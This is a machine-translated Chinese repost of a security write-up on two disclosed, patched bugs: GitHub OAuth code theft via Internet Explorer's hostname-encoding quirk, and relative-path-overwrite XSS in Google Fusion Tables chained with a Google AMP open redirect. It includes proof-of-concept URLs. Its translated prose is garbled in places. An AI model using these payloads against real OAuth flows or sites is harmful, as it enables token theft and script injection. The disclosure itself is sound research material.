RPO漏洞学习

时间 2019-11-19

标签 rpo 漏洞学习繁體版

原文原文链接

Internet Explorer存在URL问题

处理URL很容易搞砸。有时，应用程序的URL验证中的轻微不许确可能会致使轻微问题，或者若是浏览器混淆了漏洞则会致使漏洞。此次，将介绍与Internet Explorer有问题的URL重定向相关的两个错误，帖子的后半部分将介绍一种有趣的RPO开发技术html

GitHub OAuth Code Theft

URL编码或百分号编码一般用于查询字符串或请求正文中。主机名也接受URL编码。可是，当Internet Explorer重定向到URL编码的主机名时，会发生奇怪的事情。例如，若是您使用Windows 7 / 8.1上的Internet Explorer 11与其余浏览器访问如下连接，您会发现目标彻底不一样：git

https://httpbin.org/redirect-to?url=http://%77%77%77%2E%6D%69%63%72%6F%73%6F%66%74%2E%63%6F%6D/testgithub

HTTP/1.1 302 Found
location: http://%77%77%77%2E%6D%69%63%72%6F%73%6F%66%74%2E%63%6F%6D/test

Redirected URL for Internet Explorer: http://www.microsoft.com9crosoft.com/test
Redirected URL for other browsers: http://www.microsoft.com/test

谢尔盖·博布罗夫（Sergey Bobrov）发现了这种奇怪的行为，MichałBentkowski发现了一个相似的错误。基本上，Internet Explorer以某种方式使用URL编码值覆盖部分URL解码值，并将它们混合在一块儿。而后最终目的地指向原始目的地之外的其余目的地。该错误彷佛在Windows 10上的Internet Explorer 11中获得修复，但在Windows 7 / 8.1上仍然不适用于Internet Explorer 11.浏览器

不管如何，重要的是，若是重定向接受URL编码的主机名，则有可能将用户重定向到意外的网站。服务器

有趣的是，在GitHub的OAuth受权页面中，redirect_uri参数接受带有URL编码主机名的URL。例如，GitHub Gist应该只接受https://gist.github.com/auth/github/callback/做为回调URL，可是https：//％2567％2569％2573％2574.github.com / auth / github / callback /也被接受。可是，若是咱们直接将上述URL用做redirect_uri，则Location头中的值与预期的值没有差异（保持解码状态）。缘由是GitHub在进一步处理以前规范化了redirect_uri。真正的魔法发生在三重编码时（即https：//%252567%252569%252573%252574.github.com/auth/github/callback/）。经过这样作，验证递归地规范化URL，并认为它与配置的回调URL匹配，而单一编码在Location头中。app

PoC:
https://github.com/login/oauth/authorize?client_id=7e0a3cd836d3e544dbd9&redirect_uri=https%3A%2F%2F%2567%2569%2573%2574.github.com%2Fauth%2Fgithub%2Fcallback&response_type=codejsp

HTTP/1.1 302 Found
location: https://%67%69%73%74.github.com/auth/github/callback/?code={{$CODE}}

Redirected URL for Internet Explorer: https://gist.github.comthub.com/auth/github/callback?code={{$CODE}}
Redirected URL for other browsers: http://gist.github.com/auth/github/callback?code={{$CODE}}

如您所见，IE上的最终目的地指向未注册的域gist.github.comthub.com。因为Gist是全部GitHub账户的预先批准的应用程序，所以访问PoC连接的任何用户都会将代码泄露给拥有该域的攻击者。固然，它也会影响其余应用程序。ide

GitHub经过递归规范化Location头中的值来修复bug。网站

References:this

Original report from HackerOne
GitHub's summary to this bug

RPO in Google Fusion Table

在URL规范化期间，将处理指示目录遍历的模式。这些包括点斜杠（./）和点 - 斜杠（../）。例如，foo /./ bar，foo / baz /../ bar和foo / baz /％2e％2e / bar（编码点）将在请求甚至从浏览器发送以前标准化为foo / bar。您能够将鼠标悬停在如下两个连接上，并注意它们指向浏览器状态栏中的相同URI。 https://exapmle.com/foo/%2e%2e/bar和https://exapmle.com/bar。请注意，可是对于foo /..% 2fbar（编码斜杠）不是这样，由于..％2fbar能够是文件名。 https://exapmle.com/foo/..%2Fbar。

毫无疑问，Internet Explorer再次发生了奇怪的事情（尽管如此，Edge也受到了影响）。当重定向到路径包含URL编码的点 - 斜杠的URL时，发送到服务器的请求将与地址栏显示的请求略有不一样。

据推测，当浏览器看到http://example.com/foo/bar.jsp;/%2e%2e/%2e%2e/1337时，会发送一条http://example.com/1337请求到服务器，地址栏也会显示http://example.com/1337。可是，在Internet Explorer中，地址栏仍会显示http://example.com/1337，但请求http://example.com/foo/bar.jsp;/%2e%2e/%2e%2e/ 1337将按原样发送。若是服务器忽略尾随路径（例如路径参数），则此差别容许显示具备任意路径的页面。

这是有趣的部分。能够在绝对URL或相对URL中导入外部脚本文件。使用相对URL时，文件的目录将相对于加载页面的路径。不少网站使用相对路径，并无任何问题。事实上，Google Fusion Table就是其中之一。

惟一错误的是Google Fusion Table接受的路径参数。导航到https://www.google.com/fusiontables/DataSource和https://www.google.com/fusiontables/DataSource;/foo/bar/%2e%2e/baz显示的内容彻底相同。这与IE错误相结合，使咱们可以使用咱们所需的路径加载Google Fusion Table，从而加载导入脚本的路径。若是有可能在Google域上上传JavaScript文件或存在Open Redirect，则能够导入咱们的恶意脚本。幸运的是，Google AMP是一款开放式重定向器。在非移动设备上访问https://www.google.com/amp/example.com/path将重定向到https://example.com/path。如今，咱们能够在https://www.google.com/amp/innerht.ml中加载Google Fusion Table，而后导入https://www.google.com/amp/innerht.ml/js/gvizchart_all_js.js ，最终目的地为https://innerht.ml/js/gvizchart_all_js.js.

Voila! XSS via RPO it is.

Hi,

Thanks again for your report.

Very nice bug! We were able to convert this to full working XSS exploit in IE11. The panel has decided to issue reward a of $6000 total ($5000 for XSS vulnerability in www.google.com + $1000 bonus for cool bug and novel approach) and you should receive the normal reward information email soon.

谷歌经过将许多产品移动到专用子域并删除对路径参数的支持来修复此类错误。

References:

本文还记录了IE漏洞的一些RPO开发技术，若是您想深刻了解RPO，必须阅读这些技术。

原文连接